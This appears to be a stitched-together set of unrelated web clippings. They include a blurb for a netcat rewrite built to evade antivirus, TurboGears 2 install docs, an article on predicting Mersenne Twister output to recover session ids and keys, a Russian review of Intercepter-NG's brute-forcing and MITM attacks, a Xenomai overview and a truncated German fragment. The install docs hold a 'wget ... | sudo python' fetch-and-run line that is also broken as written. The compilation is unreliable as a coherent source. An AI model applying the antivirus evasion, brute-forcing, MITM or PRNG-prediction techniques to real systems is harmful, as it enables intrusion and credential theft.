    Authored by knull | Site leethack.info
    
rcat is a rewritten netcat replacement for Windows that was created solely to
bypass antivirus detection. Source and binary are included.

    systems | windows, unix
    MD5 | `580837638f784491eca21912094d4d63`

# How to install TurboGears 2 — TG2 v2.0 documentation

**Created:**| _1/13/2010 11:23:24 AM_  
---|---  
**Updated:**| _1/13/2010 11:23:35 AM_  
**Author:**| __  
**Tags:**| _python web programming_  
  

### Navigation

  * index
  * next |
  * previous |
  * **TurboGears--2.0**
  * **/** How to install TurboGears 2

# How to install TurboGears 2¶

This document provides several methods of installing TurboGears; the method
you choose will depend on your level of experience and platform.

We recommend installing TurboGears 2 into a virtual environment which will
prevent any interference with your system’s installed packages and won’t
unknowingly upgrade any python libraries that your system needs.

If you want to build packages of TurboGears for your system please send an
email to turbogears-trunk@googlegroups.com

## Prerequisites for all methods¶

>   1. Python
>   2. Setuptools
>   3. Database & Drivers
>   4. other dependencies
>   5. virtualenv
>

### Python¶

TurboGears works with any version of python between 2.4 and 2.6. The most
widely deployed version of python at the moment of this writing is version
2.5. Both python 2.4 and python 2.6 require additional steps which will be
covered in the appropriate sections. Python 3.0 is currently unsupported due
to lack of support in many of our upstream packages.

We recommend you use your system’s default python install or follow the
instructions provided here: http://python.org/download/

If you don’t know which version of python you have installed you can find out
with the following command:

[code]

    $ python --version
    Python 2.5.2
    
    
[/code]

### Installing setuptools¶

#### On Windows¶

download http://peak.telecommunity.com/dist/ez\_setup.py and then run it from
the command line.

#### On Unix¶

[code]

    $ wget http://peak.telecommunity.com/dist/ez_setup.py | sudo python
    
    
[/code]

You may also use your system’s package for setuptools.

#### On Unix \(non-root\)¶

TODO

#### Post Install¶

Hint

You most likely want setuptools 0.6c9 or greater as this one provides fixes to
work with svn1.5. If you ever get an error regarding ‘log’ please run:

$ easy\_install -U setuptools

To confirm this worked run:

[code]

    $ python
    >>> import setuptools
    >>> setuptools.__version__
    '0.6c9'
    
    
[/code]

### Installing Database and Drivers¶

Hint

The installation of the database backend is a topic outside of the scope of
this document.

TurboGears uses SQLAlchemy as its default ORM \(Object Relational Mapper\)
layer. SQLAlchemy maintains excellent documentation on all the engines
supported.

Python 2.4 users will also need to install pysqlite themselves in order to use
the sqlite database in the default configuration

Cygwin users can’t use sqlite as it does not include the necessary binary file
\(`sqlite3.dll`\). If you want to run Cygwin you’ll need to install a
different database.

### Installing non python dependencies¶

You will most likely need a C compiler and the python header files. Please see
the appropriate section below.

#### Windows¶

We include pre-compiled binaries for windows in our package index.

If you want to help us keep all binaries up to date please write to
turbogears-trunk@googlegroups.com to become part of our windows egg building
team

You may also want the win32api package as it provides some very useful tools
for windows developers, the first you will encounter is the ability to make
virtualenv work with paths that contain spaces.

See also pylunch

See also windows installer

#### Cygwin¶

You must perform all operations, including setup operations, within DOS
command windows, not Cygwin command window.

#### MacOS¶

Xcode is required to build some binary dependancies and is available on the OS
X CD or at http://developer.apple.com/tools/xcode/.

#### Debian, Ubuntu¶

Debian derived Linux versions require `python-dev` and `build-essential`:

[code]

    $ apt-get install python-dev
    $ apt-get install build-essential
    
[/code]

#### RedHat, Fedora, CentOS¶

Fedora users will need the `python-devel` rpm:

[code]

    $ yum install python-devel
    
[/code]

#### Gentoo¶

Nothing extra is required as Gentoo has a full development environment
configured by default.

#### other Linux and unix¶

You’ll need a working version of the GCC compiler installed, as well as the
Python headers.

### Installing Virtualenv¶

We strongly advise you to install all your TurboGears apps inside a
virtualenv. If you ask for support without a virtualenv to isolate your
packages we will usually ask you to go get virtualenv before proceeding
further.

`virtualenv` is a tool that you can use to keep your Python path clean and
tidy. It allows you to install new packages and all of their dependencies into
a clean working environment, thus eliminating the possibility that installing
turbogears or some other new package will break your existing Python
environment.

The other great advantage of virtualenv is that it allows you to run multiple
versions of the same package in parallel which is great for running both the
production version and the development version of an application on the same
machine.

People with a sys-admin background could consider virtualenv as a variation of
an OS jail \(chroot\) which is also good for security as your installation is
totally isolated. This makes virtualenv great for deploying production sites.

installing `virtualenv`:

On Windows:

[code]

    easy_install virtualenv
    
[/code]

On Unix:

[code]

    $ sudo easy_install virtualenv
    
    
[/code]

On Unix \(non-root\):

[code]

    $ easy_install --install-dir=$HOME/lib/python2.5/ --script-dir=$HOME/bin/ virtualenv
    
    
[/code]

will output something like:

[code]

    Searching for virtualenv
    Reading http://pypi.python.org/simple/virtualenv/
    Best match: virtualenv 1.3.2
    Downloading http://pypi.python.org/packages/2.5/v/virtualenv/virtualenv-1.3.2-py2.5.egg#md5=1db8cdd823739c79330a138327239551
    Processing virtualenv-1.3.2-py2.5.egg
    .....
    Processing dependencies for virtualenv
    Finished processing dependencies for virtualenv
    
    
[/code]

## Installing TurboGears¶

We provide several methods for installing TurboGears which depend on the level
of control you want over it

>   1. tutorial \(still not complete\)
>   2. tg2-bootstrap.py
>   3. plain virtualenv
>   4. using pip \(experimental\)
>   5. development version
>

Hint

Please note we are using `tg2env` as the name of the virtual environment. This
is simply a convention in our documentation, the name of the virtualenv
depends totally on the user and should be named according to the project it
contains.

### Automatic Installation¶

If this is your first time using TurboGears you can use the bootstrap script.
tg2-bootstrap.py is a custom virtualenv script. It will:

>   * create a virtualenv for you
>   * install the latest TurboGears in it
>

Download and run the script with the following commands:

[code]

    wget http://www.turbogears.org/2.0/downloads/current/tg2-bootstrap.py
    python tg2-bootstrap.py --no-site-packages tg2env
    
    
[/code]

### Manual installation¶

First, `cd` to the directory where you want your virtual environment for
TurboGears 2. Note the virtualenv will be created as a subdirectory here.

Now create a new virtual environment named tg2env

[code]

    $ virtualenv --no-site-packages tg2env
    
    
[/code]

that produces something like this:

[code]

    Using real prefix '/usr/local'
    New python executable in tg2env/bin/python
    Installing setuptools............done.
    
[/code]

#### Activate your virtualenv¶

First go inside the virtualenv:

[code]

    $ cd tg2env
    
[/code]

On Windows you activate a virtualenv with the command:

[code]

    Scripts\activate.bat
    
[/code]

On Unix you activate a virtualenv with the command:

[code]

    $ source bin/activate
    
    
[/code]

If you are on Unix your prompt should change to indicate that you’re in a
virtualenv. It will look something like this:

[code]

    (tg2env)username@host:~/tg2env$
    
[/code]

The net result of activating your virtualenv is that your PATH variable now
points to the tools in tg2evn/bin and your python will look for libraries in
tg2evn/lib.

Therefore you need to reactivate your virtualenv every time you want to work
on your `tg2env` environment.

#### Install Turbogears 2¶

You’ll be able to install the latest released version of TurboGears via:

[code]

    (tg2env)$ easy_install -i http://www.turbogears.org/2.0/downloads/current/index tg.devtools
    
    
[/code]

Warning

if you are upgrading from a previous TG2 version your command should be:

[code]

    (tg2env)$ easy_install -U -i http://www.turbogears.org/2.0/downloads/current/index tg.devtools
    
    
[/code]

TurboGears and all of its dependencies should download and install themselves.
\(This may take several minutes.\)

#### Deactivating the environment¶

When you are done working simply run the `deactivate` virtualenv shell
command:

[code]

    (tg2env)user@host:~/tg2env$ deactivate
    user@host:~/tg2env$
    
[/code]

This isn’t really needed but it’s good practice if you want to switch your
shell to do some other work.

### Installation using pip \(experimental\)¶

pip \(or pip installs packages\) is an experimental easy\_install replacement.
It provides many improvements over it’s predecessor and aims to be a full
replacement.

Warning

pip is not supported under windows\!

Just add the `--pip` flag to the bootstrap script:

[code]

    $ python tg2-bootstrap.py --no-site-packages --pip tg2env
    
[/code]

### Installing the Development Version of Turbogears 2¶

#### Getting Subversion¶

>   * All major Linux distributions have this installed. The package is
> normally named `subversion`
>   * On windows you can download the Subversion installer
>

#### Getting the source¶

Check out the latest code from the subversion repositories:

[code]

    (tg2dev)$ svn co http://svn.turbogears.org/projects/tg.devtools/trunk tgdevtools
    (tg2dev)$ svn co http://svn.turbogears.org/trunk tg2
    
    
[/code]

#### Installing the sources¶

Tell setuptools to use these versions that you have just checked out via SVN:

  * TurboGears 2 :

[code]

    (tg2dev)$ cd tg2
    (tg2dev)$ python setup.py develop
    
    
[/code]

  * TurboGears 2 developer tools:

[code]

    (tg2dev)$ cd ../tgdevtools
    (tg2dev)$ python setup.py develop
    
    
[/code]

#### Source install via pip¶

use the `--trunk` flag to the bootstrap script:

[code]

    $ python tg2-bootstrap.py --no-site-packages --trunk tg2env
    
[/code]

or install via pip manually

[code]

    $ easy_install pip
    $ pip install -e svn+http://svn.turbogears.org/trunk
    $ pip install -e svn+http://svn.turbogears.org/projects/tg.devtools/trunk
    
    
[/code]

## Validate the installation¶

To check if you installed TurboGears 2 correctly, type

[code]

    (tg2env)$ paster --help
    
    
[/code]

and you should see something like:

[code]

    Usage: paster [paster_options] COMMAND [command_options]
    
    Options:
      --version         show program's version number and exit
      --plugin=PLUGINS  Add a plugin to the list of commands (plugins are Egg
                        specs; will also require() the Egg)
      -h, --help        Show this help message
    
    Commands:
      create       Create the file layout for a Python distribution
      help         Display help
      make-config  Install a package and create a fresh config file/directory
      points       Show information about entry points
      post         Run a request for the described application
      request      Run a request for the described application
      serve        Serve the described application
      setup-app    Setup an application, given a config file
    
    TurboGears2:
      quickstart   Create a new TurboGears 2 project.
      tginfo       Show TurboGears 2 related projects and their versions
    
[/code]

Notice the “TurboGears2” command section at the end of the output – this
indicates that turbogears is installed in your current path.

Paster has replaced the old tg-admin command, and most of the tg-admin
commands have now been re-implemented as paster commands. For example, `tg-
admin quickstart` command has changed to `paster quickstart`, and `tg-admin
info` command has changed to `paster tginfo`.

For a full list of turbogears commands see Command Line reference

# What’s next?¶

If you are new to turbogears you will want to continue with the Quick Start
Guide

If you are a TG1 user be sure to check out our What’s new in TurboGears 2.0
page to get a picture of what’s changed in TurboGears2 so far.

<img src='img/Temp2_4113.png' alt='Logo' />

### Table Of Contents

  * How to install TurboGears 2
    * Prerequisites for all methods
      * Python
      * Installing setuptools
        * On Windows
        * On Unix
        * On Unix \(non-root\)
        * Post Install
      * Installing Database and Drivers
      * Installing non python dependencies
        * Windows
        * Cygwin
        * MacOS
        * Debian, Ubuntu
        * RedHat, Fedora, CentOS
        * Gentoo
        * other Linux and unix
      * Installing Virtualenv
    * Installing TurboGears
      * Automatic Installation
      * Manual installation
        * Activate your virtualenv
        * Install Turbogears 2
        * Deactivating the environment
      * Installation using pip \(experimental\)
      * Installing the Development Version of Turbogears 2
        * Getting Subversion
        * Getting the source
        * Installing the sources
        * Source install via pip
    * Validate the installation
  * What’s next?

#### Previous topic

Getting Started with TurboGears

#### Next topic

Quickstarting a TurboGears 2 project

### This Page

  * Show Source

### Quick search

### Navigation

  * index
  * next |
  * previous |
  * **TurboGears--2.0**
  * **/** How to install TurboGears 2

© Copyright 2008, TurboGears DocTeam. Last updated on Apr 20, 2009. Created
using Sphinx 0.5.

# Exploit Information Leaks in Random Numbers from Python, Ruby and PHP

**Created:**| _12/5/2012 5:47:25 PM_  
---|---  
**Updated:**| _12/5/2012 5:47:25 PM_  
**Author:**| __  
**Tags:**| _python_  
  

## Exploit Information Leaks in Random Numbers from Python, Ruby and PHP

Posted by Frank Sievertsen at Dec 05, 2012 11:40 AM

The Mersenne Twister \(MT 19937\) is a pseudorandom number generator, used by
Python and many other languages like Ruby, and PHP. It is known to pass many
statistical randomness tests, but it's also known to be not cryptographically
secure. The Python documentation is clear on this point, describing it as
"completely unsuitable for cryptographic purposes." Here we will show why.

When you are able to predict pseudorandom numbers, you can predict session
ids, randomly generated passwords or encryption keys and know all the cards in
online poker games, or play "Asteroids" better than legally possible.

Many sources already showed that it's easy to rebuild the internal state of
the MT by using 624 consecutive outputs. But this alone isn't a practical
attack, it's unlikely that you have access to the whole output. In this post
I'll demonstrate how to restore its internal state by using only parts of its
output. This will allow us to know all previous and future random number
generation.

With every 32bit output the MT directly exposes 32 bit of it's internal state
\(only slightly and reversibly modified by the tempering function\). After
each round of 624 outputs, the internal state of the Mersenne Twister is
"twisted" itself: All bits are XOR'd with several other bits. In fact the
Mersenne Twister is just a big XOR machine: All its output can be expressed by
an sequence of XORs of the initial state bits.

Python always combines two outputs into a 64bit integer before returning them
as random integers. So each call of random.randint\(0,255\) gives you only 8
bits out of two 32 bit Mersenne Twister outputs. Since the tempering function
already mixed the 32 bits outputs, it's not possible anymore to directly
recover internal state bits out of only the 8 bits.

I was curious if it's hard to recover the internal MT state by using only the
output of a function like this:

[code]

    def random_string(length):
        return "".join(chr(random.randint(0, 255)) for i in xrange(length))
    
[/code]

Since the internal state of the Mersenne Twister consists out of 19968 bits we
will need at least ~2.5KB of output to recover the internal state. In fact I
needed ~3.3kb, probably because of redundant output information. Also possible
is a bug in my POC implementation :\)

You can find the result on github.

## How does it work?

First I named the initial state with variables s0...s19967. The initial state
looks like this:

Internal state bit| Value  
---|---  
0| s0  
1| s1  
...| ...  
19967| s19967  
Now the first output of the Mersenne Twister is a combination of the first 32
bits \(combined by the tempering function\):

Output-Bit| Value  
---|---  
o0| s0 xor s4 xor s7 xor s15  
o1| s1 xor s5 xor s16  
o2| s2 xor s6 xor s13 xor s17 xor s24  
...| ...  
o31| s2 xor s9 xor s13 xor s17 xor s28 xor s31  
same for the second output:

Output-Bit| Value  
---|---  
o32| s32 xor s36 xor s39 xor s47,  
...| ...  
But we can only observe eight of these bits, because random.randint\(0,255\)
exposes only this portion of the output.

After 624 outputs, the internal state of the Mersenne Twister is "twisted"
around. We update our internal state as an xor-combination of our old indices.

Internal state bit| Value  
---|---  
0| s63 xor s12704  
1| s0 xor s12705  
...| ...  
19967| s61 xor s62 xor s5470 xor s5471 xor s18143  
The outputs look now more complicated now, because the state bits are an xor-
combination of the initial state:

Output-Bit| Value  
---|---  
o19968| s35 xor s38 xor s46 xor s63 xor s12704 xor s12708 xor s12711 xor
s12719  
...| ...  
After 3.3 kb this list contains about 40 variables.

Now we have a big list of output-bits and how they are made out of an xor-
combination of the original state. A big system of equations that we can to
solve\! This is done as you learned it at school: Here's a simple example for
3 bits.

Given this equations system:

o1| =| s0| xor| s1| xor| s2  
---|---|---|---|---|---|---  
o2| =|  |  | s1| xor| s2  
o3| =| s0| xor| s1  
First we solve s0:  
o1| =| s0| xor| s1| xor| s2  
o2| =|  |  | s1| xor| s2  
=>  
o1 xor o2| =| s0  
With this solution it's easy to find solution for s1.  
o3| =| s0| xor| s1  
o1 xor o2| =| s0  
=>  
o1 xor o2 xor o3| =|  |  | s1  
And finally for s2.  
o2| =|  |  | s1| xor| s2  
o1 xor o2 xor o3| =|  |  | s1  
=>  
o1 xor o3| =|  |  |  |  | s2  
Result:  
o1 xor o2| =| s0  
o1 xor o2 xor o3| =|  |  | s1  
o1 xor o3| =|  |  |  |  | s2  
Now we know how to recover the 3-bit state out of our 3 output-bits:  
  
s0 = o1 xor o2  
  
s1 = o1 xor o2 xor o3  
  
s2 = o1 xor o3

However, in reality we have about 26,000 equations with 20,000 variables.

If you want to try it yourself, you can download the the result of the solved
equation together with a test-program on github.

## Further notes

Since the Mersenne Twister is highly symmetric, it's probably possible to find
some shortcuts or a fully mathematical solution for this problem. However, I
implemented the straight-forward solution since it's easy and reusable.

Python seeds the Twister with only 128 bits of "real" randomness. So
theoretically it's enough to know a few output bytes to restore the whole
state, but you would need an efficient attack on the seeding algorithm since
128 bit is too much for a brute-force attack.

However, other implementations use much less randomness to seed their random
number generators. PHP seems to use only 32 bits for seeding mt\_random, Perl
also uses only 32 bit \(but another PRNG\). In these cases it's probably
easier to use a brute-force attack on the seed.

# Обзор новых функций Intercepter-NG / Хабрахабр

**Created:**| _7/29/2014 9:12:10 AM_  
---|---  
**Updated:**| _7/29/2014 9:12:10 AM_  
**Author:**| __  
**Tags:**| _security tools mitm_  
  

#  Обзор новых функций Intercepter-NG

Информационная безопасность

Год ожиданий не прошел напрасно и он компенсируется достаточно интересными
функциями, появившимися в новой версии инструмента. Релиз состоялся раньше
намеченного срока и часть ранее планируемых функций в него не вошли из-за
того, что появились куда более важные нововведения.  
  
В новой версии присутствует ранее продемонстрированная атака на Active
Directory \(Ldap Relay\), функция Java Injection, эксплоит для уязвимости
HeartBleed, Plugin Detector, но заострить внимание я хотел бы на совсем других
вещах.  
  
В Intercepter-NG появился режим сетевого брутфорса паролей для целого ряда
протоколов: FTP\IMAP\POP3\SMTP\SMB\SSH\LDAP\HTTP. Причиной создания подобного
функционала в очередной раз стало отсутствие современного и функционального
брутфорсера под Windows. Из нативных инструментов на ум приходит только
Brutus, который не обновлялся уже более десяти лет и не поддерживает, к
примеру, SSH. Все cygwin билды THC-Hydra собраны без поддержки SSH, а Ncrack,
несмотря на заявленную поддержку SSH, ни в одном тесте так и не заработал.
Конечно, при желании можно собрать Hydra самостоятельно, но в любом случае,
что Hydra, что Ncrack, в своей основе являются консольными, а GTK версия Hydra
опять требует дополнительной сборки. Поэтому создание современного оконного
брутфорсера не было лишено смысла.  
  
Как ни крути, на сегодняшний день THC-Hydra является самым прогрессивным
инструментом для сетевого брутфорса с большим количеством поддерживаемых
протоколов и способов авторизации. Никаких попыток посоревноваться с лидером
изначально не предпринималось, но итоговые результаты получились весьма
неожиданными, о них и поговорим…  
  
Логично, что по завершению работы было любопытно сравнить скорость перебора в
Intercepter и Hydra. Сначала планировалось добавить к сравнению и Ncrack, но
т.к. в ряде тестов он пропускал валидную авторизацию, не работал с SSH, и в
целом, по результатам других тестов был во всем медленней Hydra, было принято
решение о его исключении. В сравнительной таблице для каждого протокола
указано два значения занятого времени. Первое, более продолжительное значение,
получено путем однопоточного перебора. У Hydra понятие «поток» именуется
«задачей» \(= task\). Вторая цифра отображает лучшее полученное время при
увеличении потоков до оптимального числа. Слепое увеличение потоков в 2-3-5
раз не дает аналогичного прироста производительности, т.к. каждая конкретная
реализация сетевого сервиса имеет свои особенности, тем или иным образом,
влияющие на скорость многопоточной работы и пригодности к брутфорсу.
Тестирование проводилось на списке паролей из 2000 слов.  
  
<img
src='http://habrastorage.org/getpro/habr/post_images/b55/d90/3c4/b55d903c4b0a92d043e4d9ae07c6a261.jpg'
alt='image' />  
  
Как видно из таблицы, в случае с LDAP\SMTP\HTTP Intercepter и Hydra при
многопоточном брутфорсе имеют одинаковые результаты, а в оставшихся FTP\POP3
Intercepter оказался быстрее. Вывод данного теста не в том, что Intercepter
быстрее Hydra, а в том, что он как минимум не медленнее и подходит для решения
соответствующих задач.  
  
В протоколах FTP\IMAP\POP3\SMTP\LDAP поддерживаются стандартные plain-text
алгоритмы авторизации. Благодаря тому, что Intercepter является нативным NT
приложением, брутфорс SMB осуществляется при помощи системных API функций, без
оглядки на различные способы авторизации \(NTLMv1,v2, Kerberos\). Для SSH
реализована поддержка методов password и keyboard interactive, а для HTTP:
Basic Auth и HTTP метод POST с указанием шаблона. Шаблон строится аналогичным
Hydra способом. В нем необходимо указать имена переменных, передающихся на
сервер, а так же ключевое слово, сигнализирующее о том, что авторизация не
удалась, например 'Error' или 'Invalid'. В комплекте идет словарь на 10000
слов, а так же присутствует эвристический метод перебора. При его
использовании задается ключевое слово, на базе которого генерируется небольшое
количество производных вариантов. Во время съемки демонстрационного видео я
произвольным образом вбил слово test в эвристический режим и на удивление
программа сообщила, что пароль найден. Сначала подумал, что произошла ошибка,
но оказалось, что пароль действительно рабочий и принадлежит какому-то
тестовому аккаунту форума.  
  
Другая знаменательная особенность новой версии заключается в том, что
оригинальный Intercepter теперь можно запустить под Wine. Основная проблема
сделать это раньше была вызвана тем, что Winpcap и Wine вещи несовместимые.
Некоторое время назад был обнаружен так называемый wrapper, который
транслировал вызовы функций winpcap в юниксовый libpcap. Чтобы все таки
запустить Intercepter под линуксом пришлось допилить и сам wrapper и
Intercepter, т.к. некоторые функции winpcap отсутствуют в libpcap, а некоторые
имеют отличительную специфику под разными платформами.  
  
<img
src='http://habrastorage.org/getpro/habr/post_images/88c/219/d30/88c219d30dcf3416f4487e29f57c593f.jpg'
alt='image' />  
  
К сожалению используемый способ маршрутизации трафика под Windows не
дееспособен в линуксе, поэтому сложные MiTM'ы \(sslstrip, ssl mitm, smb
hijack, ldap relay, http injection\) не работают, но работает arp poison, dhcp
mitm, wpad mitm, dns over icmp mitm, восстановление данных и новый режим
сетевого брутфорса. Даже в таком виде он многократно превосходит консольную
unix версию Intercepter'а и будет полезен на security-oriented дистрибутивах
линукса.  
  
Благодаря благополучному запуску под линуксом возникло желание провести еще
один тест Intercepter'а в родных для Hydra условиях, в этот раз включив в тест
SSH.  
  
<img
src='http://habrastorage.org/getpro/habr/post_images/57f/418/331/57f4183311953a9592b09cdd0838b0ff.jpg'
alt='image' />  
  
В однопоточных тестах появились небольшие отставания Intercepter'а, но при
многопоточности оба инструмента показывают одинаковые результаты. Отдельно
рассмотрим тестирование SSH, в котором Hydra оказалась значительно медленнее.  
  
Первый тест проводился на SSH сервере, который поддерживал метод password,
работающий значительно быстрее чем keyboard interactive. Судя по всему, Hydra
проигнорировала такой подарок и пыталась подобрать пароль интерактивным
методом, который занимает гораздо больше времени, отсюда ориентировочное время
— 55 минут, которые я даже не стал выжидать до конца. Многопоточное
тестирование заняло заметно меньше времени, но больше чем у Intercepter'а.
Второе тестирование проводилось на SSH сервере с отключенным режимом password
и здесь оба инструмента выступали в равных условиях. Данный тест еще раз
подтвердил высокую эффективность Intercepter'а и близость результатов к такому
узко-специализированному инструменту как THC-Hydra.  
  
Инструкция по запуску Intercepter под wine в ближайшее время появится в блоге.
Более подробный changelog на сайте. Ниже демонстрационное видео.

# Start Here – Xenomai

**Created:**| _8/11/2014 9:38:12 AM_  
---|---  
**Updated:**| _8/11/2014 9:38:12 AM_  
**Author:**| __  
**Tags:**| _bookmark Linux rtos_  
  

# What is Xenomai about?

Xenomai is about making various real-time operating system APIs available to
Linux-based platforms. When the target Linux kernel cannot meet the
requirements with respect to response time constraints, Xenomai can also
supplement it for delivering stringent real-time guarantees.

The project has a strong focus on embedded systems, although Xenomai runs over
mainline desktop and server architectures as well.

To sum up, Xenomai can help you in:

  * designing, developing and running a real-time application on Linux. 
  * migrating an application from a proprietary RTOS to Linux. 
  * optimally running RTOS applications \(VxWorks, pSOS, VRTX, uITRON, POSIX\) alongside native Linux applications. 

* * *
## How does Xenomai deliver real-time?

There are two options:

  * By supplementing Linux with a real-time co-kernel running side-by-side. This small extension named **Cobalt** is built into the Linux kernel, dealing with all time-critical activities, such as handling interrupts, and scheduling real-time threads. The Cobalt core has higher priority over the native kernel activities. 
In this _dual kernel_ configuration, all the RTOS APIs Xenomai provides
interface with the Cobalt core, and only those APIs are deemed real-time
capable, including the subset of POSIX 1003.1c services implemented by Xenomai
\(aka _libcobalt_\).

<img src='img/Temp2_7698.png' alt='Cobalt interfaces' />

**Figure 1.** Xenomai 3 dual kernel configuration

**_Note_** | Cobalt is an evolution of the former Xenomai 2 architecture  
---|---  
  * By relying on the real-time capabilities of the native Linux kernel, forming the **Mercury** core. Often, applications will require the PREEMPT-RT extension to be enabled in the target kernel, for delivering real-time services. 
However, this is not mandatory, it depends on the application requirements
with respect to responsiveness and maximum jitter; some may even tolerate a
certain percentage of deadline misses.

In this _single kernel_ configuration, all the non-POSIX RTOS APIs Xenomai
provides are accurately emulated over the native POSIX Thread Interface
\(NPTL\).

<img src='img/Temp2_7699.png' alt='Mercury interfaces' />

**Figure 2.** Xenomai 3 single kernel configuration

**_Note_** | Xenomai 3 supports both the single and dual kernel configurations. Xenomai 2 supports the dual kernel configuration only.  
---|---  
* * *
## Xenomai license terms

All Xenomai code running in kernel space is licensed under the terms of the
Linux kernel license, i.e. GPL v2.

Xenomai libraries linked to applications are licensed under the terms of the
LGPL v2.1.

For information regarding a particular software component, you should look at
the COPYING file available in the directory containing the relevant source
code.

* * *
## Preparation checklist

A preparation checklist is as follows:

### Single or dual kernel configuration?

Assuming you know the target SoC and the application requirements with respect
to real-time guarantees, you should define which of the single or dual kernel
configurations best fits your needs. The following hints may help:

  * Does your application actually have real-time requirements, and how stringent are they? If migrating an application from an _embedded_ RTOS to a Linux-based platform, the question may stand because unlike legacy RTOSes, Linux sees embedded and real-time characteristics as orthogonal issues. Some migrated applications may even be fine with only emulating the original RTOS API over a regular kernel and standard preemption \(CONFIG\_PREEMPT\). Those may benefit from Xenomai 3 in single kernel configuration. 
    * For stringent real-time requirements, you should consider the availability of the hard real-time support for your target SoC architecture and Linux kernel version. 
      * Embedded architecture support for Xenomai in dual kernel configuration can be viewed here. This technology is based on a kernel patch which introduces a mechanism for diverting all critical events to a dual kernel extension, coupled to the host Linux kernel. This mechanism called the _Interrupt pipeline_ \(aka _I-Pipe_\) is described in details by this \(slightly outdated\) document. All I-pipe patches available for various kernel releases can be fetched at this site. 
      * For a single kernel configuration, the list of target architectures supporting the full preemption features \(aka _PREEMPT-RT_\) is available here. 
    * How many CPU cores will be involved in real-time operations? 
      * in a dual kernel configuration, the Xenomai co-kernel normally benefits from its simpler locking scheme when dealing with real-time activities concurrently on not more than four CPU cores. 
      * Beyond four CPU cores running real-time activities, SMP scalability will be better with a single kernel configuration. 

**_Note_** | The key issue is with the number of CPU cores **actually running real-time threads** and receiving interrupts from real-time sources, not with the overall number of cores on line on the target hardware. Because the Xenomai co-kernel does not share any lock with the regular kernel when dealing with real-time activities, a 16-way server pinning such activities on not more than four of the available cores would still deliver good performances in a dual kernel configuration with Xenomai.  
---|---  
  * Is any of those dual kernel pros critical to your case? 
    * porting the Xenomai co-kernel to a new architecture is fairly simple. 
    * it is decoupled from the development cycle of the mainline Linux kernel, thus allowing to pick the desired \(or required\) kernel version more freely. 
    * it can simplify the worst-case analysis and keeps the results valid over update cycles of the mainline Linux kernel which hosts it. 
    * it allows to fine-tune the non-real-time part for throughput without negative impact on the real-time job. 
    * it does not require any tuning of the regular Linux system to guarantee short and bounded latencies for the real-time job. 
  * Is any of those single kernel pros critical to your case? 
    * the stock kernel drivers can be reused by real-time applications with no change \(provided they don’t create latency issues due to an unfortunate implementation obviously\). 
    * the programming model is simpler than with a dual kernel configuration, since most services obtained from the kernel are deemed real-time capable. 
    * all standard utilities for monitoring the system operations can report about the real-time activities out of the box. On the other hand, a dual kernel system has to adapt such tools specifically for this purpose. 

### Do you need non-POSIX real-time APIs?

Porting legacy non-POSIX applications to POSIX may not be the best option.
Although there may be similarities, the semantics of traditional RTOS APIs may
differ significantly from POSIX in many cases, which often makes the migration
process quite painful and error-prone.

Xenomai ships with emulators of traditional RTOS APIs, like VxWorks™ and
pSOS™, both available in single and dual kernel configurations. Xenomai aims
at accurately mimicking the original services with low overhead.

However, maybe Xenomai does not provide an emulator yet for the API you are
looking for, or some services are missing from the existing emulators, in
which case you should consider raising the topic on the e-mail discussion
list. Xenomai is based on generic building blocks for implementing RTOS APIs,
so extending it is a documented option.

### Gathering the Linux kernel bits

Depending on your requirements, you will need:

  * a Linux kernel ported to your target SoC or platform. If possible, prefer mainline kernel releases over vendor-originated ones. Among other issues, kernel patches required for running hard real-time applications over single \(PREEMPT\_RT\) or dual kernel \(I-pipe\) configurations are commonly based over mainline kernels. 
  * for a dual kernel configuration, an _I-pipe_ patch fitting your target kernel. If you don’t find any patch that matches exactly but feel lucky, you may try applying a patch issued against a kernel only differing by its sublevel release number, e.g. from 3.10.22 to 3.10.20. However, even if it applies cleanly, some extra testing is required, and getting additional information from the e-mail discussion list may help. 
  * for a single kernel configuration with hard real-time capabilities, a PREEMPT-RT patch matching your target kernel. 

### Getting the Xenomai sources

#### Downloading Xenomai 2

Xenomai 2 is a mature architecture which has been around for ten years, usable
for dual kernel configurations only.

Xenomai 2.6 will be the ultimate major branch based on the Xenomai 2
architecture. We plan for maintaining it until January 2016.

You can either download the source code of the latest stable release as a
tarball, or clone our GIT repository where it is maintained.

#### Downloading Xenomai 3

Xenomai 3 is the upcoming architecture, aimed at supporting both the single
and dual kernel configurations.

**_Note_** | The Xenomai project issues a tarball for each official stable or candidate release. However, we recommend tracking our development and/or maintenance GIT trees, for getting the latest fixes.  
---|---  
#### Using GIT

The Xenomai project uses GIT for managing the source code repositories. There
is no shortage of GIT crash courses, references, howtos, tips and
comprehensive documentation available from the Internet. For the sake of
conciseness, we will only mention two documentation hubs from which you should
be able to find your way:

In addition, let’s mention a simple tutorial for bootstrapping with GIT and
day-to-day usage:

https://www.kernel.org/pub/software/scm/git/docs/gittutorial.html

* * *
## Building Xenomai from sources

  * This document contains instructions for building and installing Xenomai 2.x. 
  * This document contains instructions for building and installing Xenomai 3.x. 

* * *
## If something goes wrong

First and foremost, please make sure to have a look at the appropriate
troubleshooting guide, whether you are using a dual or a single kernel
configuration.

**_Tip_** | If running any release from the Xenomai 2 series, or a Xenomai 3 release using the **Cobalt** real-time core, then you are running a dual kernel configuration. Xenomai 3 over the **Mercury** core stands for a single kernel configuration.  
---|---  
If still out of luck, and if your favorite Internet search engine did not help
finding a similar/same problem already solved for another user, then you
should try raising the issue on the main e-mail discussion list.

**How to ask for help on the mailing list** To maximize your chances of
receiving quick and accurate responses to your request for help, you really
want to follow these recommendations.  
---  
* * *
## Embedded Linux distributions & Xenomai

  * The Yocto-based Embedded Linux Development Kit \(aka _ELDK_\) includes pre-built GNU cross-development tools and bootable root file systems for a variety of ARM™, PowerPC™ and MIPS™ embedded target systems. It also ships with a pre-built stable Xenomai release. 

* * *
## Other readings

The following books and articles describe different aspects of the Xenomai
technology:

  * Building Embedded Linux Systems, Second Edition. This book dedicates a chapter explaining the dual kernel architecture of Xenomai 2. 
  * Xenomai: the RTOS Chameleon for Linux, at Open Source Meets Business, Nürnberg, Germany, January 2007. 
  * Semi-autonomous service robots at the ELROB 2006. 

# AtoCC

**Created:**| _12/19/2011 9:50:20 AM_  
---|---  
**Updated:**| _12/19/2011 9:50:20 AM_  
**Author:**| __  
**Tags:**| _compiler-building visualization_  
  
|

# AutoEdit

Verwenden Sie AutoEdit um Transitionsdiagramme für Web- und
Druckmedienpublikationen aufzubereiten. Simulieren und transformieren Sie
Automaten auf verschiedenste Arten innerhalb von AutoEdit. Exportieren sie
Automaten in diverse Grafikformate und in Scheme-Quellcode, den Sie mit
